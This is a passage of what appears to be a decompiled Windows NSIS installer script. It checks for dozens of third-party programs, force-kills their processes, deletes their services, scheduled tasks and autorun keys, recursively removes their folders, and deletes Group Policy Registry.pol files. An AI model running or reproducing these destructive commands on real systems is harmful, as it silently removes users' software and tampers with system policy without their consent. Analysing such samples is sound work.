$LOCALAPPDATA\Con-trans.exe label_1237: IfFileExists $PROGRAMFILES\LDSGameCenter\LDSGameCenter.exe 0 label_1246 nsExec::Exec "cmd /k taskkill /IM LDSGameCenter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LDSGameCenter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\LDSGameCenter DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run LDSGameCenter RMDir /r /REBOOTOK $PROGRAMFILES\LDSGameCenter label_1246: ClearErrors ReadRegStr $0 HKCU SOFTWARE\Pritc params IfErrors label_1265 ClearErrors ReadRegStr $2 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pritc IfErrors label_1265 IfFileExists $2 0 label_1265 nsExec::Exec "cmd /k taskkill /IM casrss.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM casrss.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pritc nsExec::ExecToStack "schtasks /delete /tn $\"Pritc$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Pritc$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $2 label_1265: IfFileExists $APPDATA\RutubeExtension\RutubeExtension.exe 0 label_1277 nsExec::Exec "cmd /k taskkill /IM RutubeExtension.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM RutubeExtension.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"RutubeExtension$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"RutubeExtension$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\RutubeExtension label_1277: StrCpy $3 "" IfFileExists $APPDATA\{*} 0 label_1301 StrCpy $0 0 StrCpy $1 "" label_1281: EnumRegKey $1 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_1301 IntOp $0 $0 + 1 StrCpy $2 "" ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayName StrCmp $2 "Update for PriceFountain" 0 label_1281 IfFileExists $APPDATA\$1 0 label_1299 nsExec::Exec "cmd /k taskkill /IM PriceFountainUpdateVerUpdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM PriceFountainUpdateVerUpdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"$1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\$1 label_1299: DeleteRegKey HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 StrCpy $3 1 label_1301: StrCmp $3 1 0 label_1321 StrCpy $0 0 StrCpy $1 "" StrCpy $5 "" label_1305: EnumRegKey $1 HKCU SOFT$5WARE $0 StrCmp $1 "" label_1321 IntOp $0 $0 + 1 StrCpy $2 "" ReadRegStr $2 HKCU SOFTWARE\$1 IconWebsite StrCmp $2 Ali$5express 0 label_1305 StrCpy $2 "" ReadRegStr $2 HKCU SOFTWARE\$1 InstallDir ClearErrors Push $2 Push $LOCALAPPDATA Call :label_405 Pop $3 IfErrors label_1305 IfFileExists $2 0 label_1321 RMDir /r /REBOOTOK $2 label_1321: IfFileExists $APPDATA\YSPackage 0 label_1329 nsExec::Exec "cmd /k taskkill /IM YSPackage.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM YSPackage.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverca RMDir /r /REBOOTOK $APPDATA\YSPackage label_1329: IfFileExists $APPDATA\TodoChromeList\TodoChromeList.exe 0 label_1341 nsExec::Exec "cmd /k taskkill /IM TodoChromeList.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TodoChromeList.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"TodoChromeList$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"TodoChromeList$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\TodoChromeList label_1341: IfFileExists $PROGRAMFILES\NetSpeed\NetSpeed.exe 0 label_1353 nsExec::Exec "cmd /k taskkill /IM NetSpeed.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM NetSpeed.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"NetSpeed$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"NetSpeed$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\NetSpeed label_1353: IfFileExists "$APPDATA\User Pinned\StartMenu\Âoéòè â Èíòeðíeò.lnk" 0 label_1355 Delete /REBOOTOK "$APPDATA\User Pinned\StartMenu\Âoéòè â Èíòeðíeò.lnk" label_1355: IfFileExists "$APPDATA\Microsoft\Windows\Start Menu\Áîêîâàÿ ïàíåëü - Êîìåòà" 0 label_1357 RMDir /r /REBOOTOK "$APPDATA\Microsoft\Windows\Start Menu\Áîêîâàÿ ïàíåëü - Êîìåòà" label_1357: IfFileExists $LOCALAPPDATA\vghd\bin\vghd.exe 0 label_1364 nsExec::Exec "cmd /k taskkill /IM vghd.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM vghd.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\vghd label_1364: IfFileExists $SMSTARTUP\DesktopVideoPlayer.lnk 0 label_1366 Delete /REBOOTOK $SMSTARTUP\DesktopVideoPlayer.lnk label_1366: ClearErrors EnumRegKey $0 HKLM "SYSTEM\ControlSet001\services\Defghi Klmnopqr Tuv" $0 IfErrors label_1382 IfFileExists $WINDIR\nmlbmw.exe 0 label_1382 nsExec::Exec "cmd /k taskkill /IM nmlbmw.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM nmlbmw.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k net stop Defghi Klmnopqr Tuv" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop Defghi Klmnopqr Tuv" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Defghi Klmnopqr Tuv" Delete /REBOOTOK $WINDIR\nmlbmw.exe label_1382: IfFileExists $DESKTOP\Yàndåõ.lnk 0 label_1384 Delete $DESKTOP\Yàndåõ.lnk label_1384: IfFileExists $DESKTOP\ÀliÅõðråss.lnk 0 label_1386 Delete $DESKTOP\ÀliÅõðråss.lnk label_1386: IfFileExists $APPDATA\lockhomepage\LockHomePage.ini 0 label_1388 RMDir /r /REBOOTOK $APPDATA\lockhomepage label_1388: IfFileExists $PROGRAMFILES\HPProtector\HPProtectorSrv.exe 0 label_1401 nsExec::Exec "cmd /k taskkill /IM HPProtectorSrv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM HPProtectorSrv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM WebLauncher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WebLauncher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HPProtector Service" RMDir /r /REBOOTOK $PROGRAMFILES\HPProtector label_1401: IfFileExists $PROGRAMFILES\LuDaShi\ComputerZTray.exe 0 label_1426 nsExec::Exec "cmd /k taskkill /IM ComputerZTray.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ComputerZTray.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ComputerZService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ComputerZService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ModuleUpdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ModuleUpdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM TrayHelper.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM TrayHelper.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ComputerZ-Tray DeleteRegKey HKLM SYSTEM\ControlSet001\services\ComputerZ_x64 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ComputerZLock RMDir /r /REBOOTOK $PROGRAMFILES\LuDaShi label_1426: IfFileExists $APPDATA\Ludashi\game.json 0 label_1428 RMDir /r /REBOOTOK $APPDATA\Ludashi label_1428: IfFileExists $APPDATA\LDSGameAssistant\LDSGameAssistant.exe 0 label_1445 nsExec::Exec "cmd /k taskkill /IM LDSGameAssistant.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LDSGameAssistant.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM aapt.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM aapt.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"LDSGameAssistant$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"LDSGameAssistant$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\LDSGameAssistant label_1445: IfFileExists $APPDATA\gplyra\gplyra.exe 0 label_1455 nsExec::Exec "cmd /k taskkill /IM gplyra.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM gplyra.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec SetRegView 64 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run gplyra SetRegView 32 RMDir /r /REBOOTOK $APPDATA\gplyra label_1455: IfFileExists $APPDATA\OKSearch\launcher.exe 0 label_1468 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OKSearch RMDir /r /REBOOTOK $APPDATA\OKSearch label_1468: IfFileExists $PROGRAMFILES\Maxthon\Bin\Maxthon.exe 0 label_1480 nsExec::Exec "cmd /k taskkill /IM Maxthon.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Maxthon.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Maxthon Update$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Maxthon Update$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\Maxthon label_1480: IfFileExists $APPDATA\Maxthon3 0 label_1482 RMDir /r /REBOOTOK $APPDATA\Maxthon3 label_1482: IfFileExists $LOCALAPPDATA\777*_* 0 label_1506 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\777*_* label_1485: StrCmp $R1 "" label_1505 IfFileExists $LOCALAPPDATA\$R1 0 label_1503 nsExec::Exec "cmd /k taskkill /IM s_inst.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM s_inst.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM url_opener.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM url_opener.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"$R1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"$R1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_1503: FindNext $0 $R1 Goto label_1485 label_1505: FindClose $0 label_1506: IfFileExists $PROGRAMFILES\Totisp\msvcr100.dll 0 label_1508 RMDir /r /REBOOTOK $PROGRAMFILES\Totisp label_1508: IfFileExists $PROGRAMFILES\Iuvo\GarleEatu.exe 0 label_1522 nsExec::Exec "cmd /k taskkill /IM GarleEatu.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM GarleEatu.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Zirnuhlo.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Zirnuhlo.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\GarleEatu DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Iuvo Updater" RMDir /r /REBOOTOK $PROGRAMFILES\Iuvo label_1522: IfFileExists $DESKTOP\AliExpress.lnk 0 label_1524 Delete $DESKTOP\AliExpress.lnk label_1524: IfFileExists $APPDATA\AliExpress\osutils.vbs 0 label_1536 nsExec::Exec "cmd /k taskkill /IM Uninstaller.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Uninstaller.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"AliExpress$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"AliExpress$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\AliExpress label_1536: IfFileExists $APPDATA\UrlControl_\url_opener.exe 0 label_1549 nsExec::Exec "cmd /k taskkill /IM url_opener.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM url_opener.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM s_inst.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM s_inst.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pritc RMDir /r /REBOOTOK $APPDATA\UrlControl_ label_1549: IfFileExists $APPDATA\SyManager\launcher.exe 0 label_1562 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SyManager RMDir /r /REBOOTOK $APPDATA\SyManager label_1562: IfFileExists $PROGRAMFILES64\Sound+\wizzcaster.exe 0 label_1581 nsExec::Exec "cmd /k taskkill /IM wizzcaster.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM wizzcaster.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM idscservice.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM idscservice.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Sound+.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Sound+.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\idscservice DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Caster RMDir /r /REBOOTOK $PROGRAMFILES64\Sound+ label_1581: IfFileExists $DESKTOP\Sound+.lnk 0 label_1583 Delete $DESKTOP\Sound+.lnk label_1583: IfFileExists $APPDATA\Bodiaha\Bodiaha.exe 0 label_1591 nsExec::Exec "cmd /k taskkill /IM Bodiaha.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Bodiaha.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Ufelpus RMDir /r /REBOOTOK $APPDATA\Bodiaha label_1591: IfFileExists $DESKTOP\XYÀ¶Ô´«Ææ.lnk 0 label_1593 Delete $DESKTOP\XYÀ¶Ô´«Ææ.lnk label_1593: IfFileExists "$APPDATA\User Pinned\TaskBar\XYÀ¶Ô´«Ææ.lnk" 0 label_1595 Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\XYÀ¶Ô´«Ææ.lnk" label_1595: IfFileExists $PROGRAMFILES\À¶Ô´«Ææ\À¶Ô´«Ææ.exe 0 label_1597 RMDir /r /REBOOTOK $PROGRAMFILES\À¶Ô´«Ææ label_1597: ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\ProntSpooler ImagePath IfErrors label_1798 Push $2 Push "" Push "" Push $\" Call :label_1606 Goto label_1764 label_1606: Exch $2 ; Push $2 ; Exch ; Pop $2 Exch Exch $1 ; Push $1 ; Exch ; Pop $1 Exch Exch 2 Exch $0 ; Push $0 ; Exch ; Pop $0 Exch 2 Exch 3 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 Exch 3 Push $3 Push $4 Push $5 Push $6 Push $7 Push $R1 Push $R2 Push $R3 Push $R4 Push $R5 Push $R6 Push $R7 Push $R8 ClearErrors StrCpy $R2 $0 "" -3 StrCmp $R2 eng label_1641 StrCmp $R2 rus label_1646 label_1641: StrCpy $4 65 StrCpy $5 90 StrCpy $6 97 StrCpy $7 122 Goto label_1651 label_1646: StrCpy $4 192 StrCpy $5 223 StrCpy $6 224 StrCpy $7 255 Goto label_1651 label_1651: StrCpy $R7 "" StrCpy $R8 "" StrCmp $2 "" 0 label_1686 label_1654: StrCpy $2 "" StrCpy $3 $0 1 StrCmp $3 + label_1658 StrCmp $3 - 0 label_1660 label_1658: StrCpy $0 $0 "" 1 Goto label_1661 label_1660: StrCpy $3 "" label_1661: IntOp $0 $0 + 0 StrCmp $0 0 label_1667 StrCpy $R7 $0 1 0 StrCpy $R8 $0 1 1 StrCpy $R2 $0 1 2 StrCmp $R2 "" label_1671 label_1738 label_1667: StrCmp $3 "" label_1744 StrCpy $R7 "" StrCpy $R8 +- Goto label_1686 label_1671: StrCmp $R7 1 label_1674 StrCmp $R7 2 label_1674 StrCmp $R7 3 0 label_1738 label_1674: StrCmp $R8 "" label_1686 StrCmp $R7$R8 23 label_1677 StrCmp $R7$R8 32 0 label_1679 label_1677: StrCpy $R7 -1 Goto label_1686 label_1679: StrCmp $R7$R8 13 label_1681 StrCmp $R7$R8 31 0 label_1683 label_1681: StrCpy $R7 -2 Goto label_1686 label_1683: StrCmp $R7$R8 12 label_1685 StrCmp $R7$R8 21 0 label_1738 label_1685: StrCpy $R7 -3 label_1686: StrCpy $R6 0 StrCpy $R1 "" label_1688: StrCpy $R2 $R0 1 $R6 StrCmp $R2 "" label_1741 StrCmp $2 "" label_1697 StrCpy $R4 0 label_1692: StrCpy $R5 $2 1 $R4 StrCmp $R5 "" label_1735 StrCmp $R5 $R2 label_1736 IntOp $R4 $R4 + 1 Goto label_1692 label_1697: StrCmp $1 "" label_1704 StrCpy $R4 0 label_1699: StrCpy $R5 $1 1 $R4 StrCmp $R5 "" label_1704 StrCmp $R5 $R2 label_1735 IntOp $R4 $R4 + 1 Goto label_1699 label_1704: StrCmp $R7 1 label_1706 StrCmp $R7 -1 0 label_1709 label_1706: StrCpy $R4 48 StrCpy $R5 57 Goto label_1716 label_1709: StrCmp $R8 +- 0 label_1711 StrCmp $3 + 0 label_1714 label_1711: StrCpy $R4 $4 StrCpy $R5 $5 Goto label_1716 label_1714: StrCpy $R4 $6 StrCpy $R5 $7 label_1716: IntFmt $R3 %c $R4 StrCmp $R2 $R3 label_1721 StrCmp $R4 $R5 label_1725 IntOp $R4 $R4 + 1 Goto label_1716 label_1721: StrCmp $R8 +- label_1734 StrCmp $R7 3 label_1736 StrCmp $R7 -3 label_1735 StrCmp $R8 "" label_1735 label_1736 label_1725: StrCmp $R8 +- label_1735 StrCmp $R7 3 0 label_1728 StrCmp $R5 57 label_1735 label_1730 label_1728: StrCmp $R7 -3 0 label_1733 StrCmp $R5 57 label_1736 label_1730: StrCpy $R4 48 StrCpy $R5 57 Goto label_1716 label_1733: StrCmp $R8 "" label_1736 label_1735 label_1734: StrCpy $R2 $R3 label_1735: StrCpy $R1 $R1$R2 label_1736: IntOp $R6 $R6 + 1 Goto label_1688 label_1738: SetErrors StrCpy $R0 "" Goto label_1744 label_1741: StrCpy $R0 $R1 StrCmp $2 "" 0 label_1654 StrCmp $R8 +- 0 label_1667 label_1744: Pop $R8 Pop $R7 Pop $R6 Pop $R5 Pop $R4 Pop $R3 Pop $R2 Pop $R1 Pop $7 Pop $6 Pop $5 Pop $4 Pop $3 Pop $2 Pop $1 Pop $0 Exch $R0 ; Push $R0 ; Exch ; Pop $R0 Return label_1764: Pop $2 Push $2 Call :label_1768 Goto label_1789 label_1768: Exch $0 ; Push $0 ; Exch ; Pop $0 Push $1 Push $2 label_1773: StrCpy $2 $0 1 -1 StrCmp $2 \ 0 label_1777 StrCpy $0 $0 -1 Goto label_1773 label_1777: StrCpy $1 0 label_1778: IntOp $1 $1 - 1 StrCpy $2 $0 1 $1 StrCmp $2 \ label_1782 StrCmp $2 "" 0 label_1778 label_1782: StrCpy $0 $0 $1 Pop $2 Pop $1 Exch $0 ; Push $0 ; Exch ; Pop $0 Return label_1789: Pop $2 IfFileExists $2 0 label_1798 nsExec::Exec "cmd /k taskkill /IM abril.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM abril.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ProntSpooler RMDir /r /REBOOTOK $2 label_1798: IfFileExists $PROGRAMFILES\ms\data\WeatherItem.xml 0 label_1811 nsExec::Exec "cmd /k taskkill /IM launch.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launch.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ms$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ms$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ms RMDir /r /REBOOTOK $PROGRAMFILES\ms label_1811: IfFileExists $PROGRAMFILES\bd\Bind.exe 0 label_1826 nsExec::Exec "cmd /k taskkill /IM uc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM uc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Bind.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Bind.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run app DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide RMDir /r /REBOOTOK $PROGRAMFILES\bd label_1826: ClearErrors ReadRegStr $2 HKCU Software\Microsoft\otut product IfErrors label_1836 IfFileExists $PROGRAMFILES\$2 0 label_1836 nsExec::Exec "cmd /k taskkill /IM otutnetwork.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM otutnetwork.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$2 label_1836: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\HPDef Service" ImagePath IfErrors label_1856 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_1856 nsExec::Exec "cmd /k taskkill /IM HomePageDefSrv.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM HomePageDefSrv.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HPDef Service" RMDir /r /REBOOTOK $2 label_1856: IfFileExists $WINDIR\sysWOW64\SearchProtectService.exe 0 label_1886 DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPS DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run C System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\R 0 label_1866 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\R label_1866: IfFileExists $SYSDIR\GroupPolicy\User\R 0 label_1868 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\R label_1868: IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_1870 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_1870: IfFileExists 